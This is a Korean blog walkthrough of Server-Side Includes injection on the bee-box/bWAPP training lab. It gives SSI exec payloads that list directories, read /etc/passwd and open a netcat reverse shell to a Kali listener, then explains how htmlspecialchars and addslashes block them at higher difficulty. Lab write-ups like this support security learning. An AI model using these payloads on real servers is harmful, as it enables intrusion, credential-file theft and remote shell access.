SSI이란?
HTML 페이지의 전체 코드를 수정하지 않고 공통 모듈 파일로 관리하며 동적인 내용을 추가하기 위해 만들어진 기능으로 주로 방문자 수 세거나 홈페이지 로고 수정 등 간단한 기능 추가할 때 사용한다. 또한 '.shtml' 확장자 파일을 사용한다.
실습하기
bee-box에 들어가서 Server-Side Includes(SSI) Injection 선택 후 hack을 누르면
다음과 같이 나온다. 이제 이 페이지가 어떻게 작동 되는지 알아보기 위해
이름을 입력해 보겠다.
이름을 입력하고 Lookup을 누르면 다음과 같이 이름과 현재 나의 IP주소를 알려준다.
여기서 눈 여겨 봐야할거은 URL이다.
URL을 확인해보면 끝에 .shtml로 끝난다.
맞다. 이 페이지는 SSI를 사용하는 페이지이다.
이제 SSI 인젝션이 먹히는지 확인하기 위해 SSI 지시어를 넣어보기로했다.
SSI 지시어
<!--#명령어 -->
-> <!--#echo var = "DATE_LOCAL" -->
-> DATE_LOCAL = 현재 시간을 출력해주는 지시어
다음과 같은 SSI 지시어를 넣어보면
현재 시간을 출력해준다.
이제 명령어를 실행하기 위해 속성부분을 'cmd'로 변경해주고(exec cmd) ls 명령어를 입력한다.
-> <--#exec cmd="ls" -->
입력하면
현재 디렉터리 하위에 있는 디렉터리와 파일 목록을 출력해준다.
다음으로 cat 명령어를 이용하여 passwd 파일의 내용을 출력하는 SSI 지시어를 주입해 passwd 파일의 내용을 출력해준다.
-> <!--#exec cmd="cat /etc/passwd" -->
입력하면
passwd 파일의 내용을 출력해준다.
이제 netcat을 이용하여 악의적인 스크립트 파일을 서버에 추가해보자
netcat은 앞에 취약점 공격에서도 많이 사용해 보았으므로 자세한 설명은 생략하겠다.
순서
1. 칼리 접속 후 터미널을 열어 listening 모드로 전환
2. bWAPP에서 nc 연결 허용(<!--#exec cmd="nc ip주소 포트번호 -e /bin/bash" -->)
3. 칼리에 돌아와서 명령어 입력을 하였을 때 값이 나오면 성공
다음과 같이 명령어를 입력하면 프롬프트도 생성이 가능하다.
이제 해당 페이지의 정보를 얻을 수 있다.
난이도 - (medium, high)
난이도 중, 상 문제는 항상 코드부터 봐야한다.
gedit으로 ssii.php 파일을 열면
난이도 (중)에 해당하는 case"1"은 xss_check_4 함수가 (상)에 해당하는 case "2"는 xss_check_3 함수가 적용되어 있다.
다음 함수가 무슨 함수인지는 functions_external.php에 정의되어 있으므로 functions_external.php를 확인해보자
들어가보면
다음과 같은 코드를 확인할 수 있다.
먼저 xss_check_3에 적용되어 있는 htmlspecialchars 함수는 php code injection에서 이미 설명했다.
https://tkdrms568.tistory.com/140
쉽게 말해 스크립트나 특수기호를 그 자체로 보이게 하여 작동을 안하게 만드는 함수이다.
다음으로 addslashes 함수는 sql_injection(get/search)방식에서 설명하였다.
https://tkdrms568.tistory.com/138
쉽게 말해 특수기호에 이스케이프 문자를 추가하여 인식을 못하게 해주는 함수이다.
특수문자를 페이지에서 인식을 하지 못하므로 공격을 수행할 수 없다.
'웹해킹 > bee-box' 카테고리의 다른 글
SQL-Injection(POST/Select) (0) | 2019.08.02 |
---|---|
SQL Injection(GET/Select) (0) | 2019.08.01 |
OS Command Injection (0) | 2019.07.31 |
SQL Injection(Post/Search) (0) | 2019.07.30 |
SQL Injection(Get/Search) (0) | 2019.07.29 |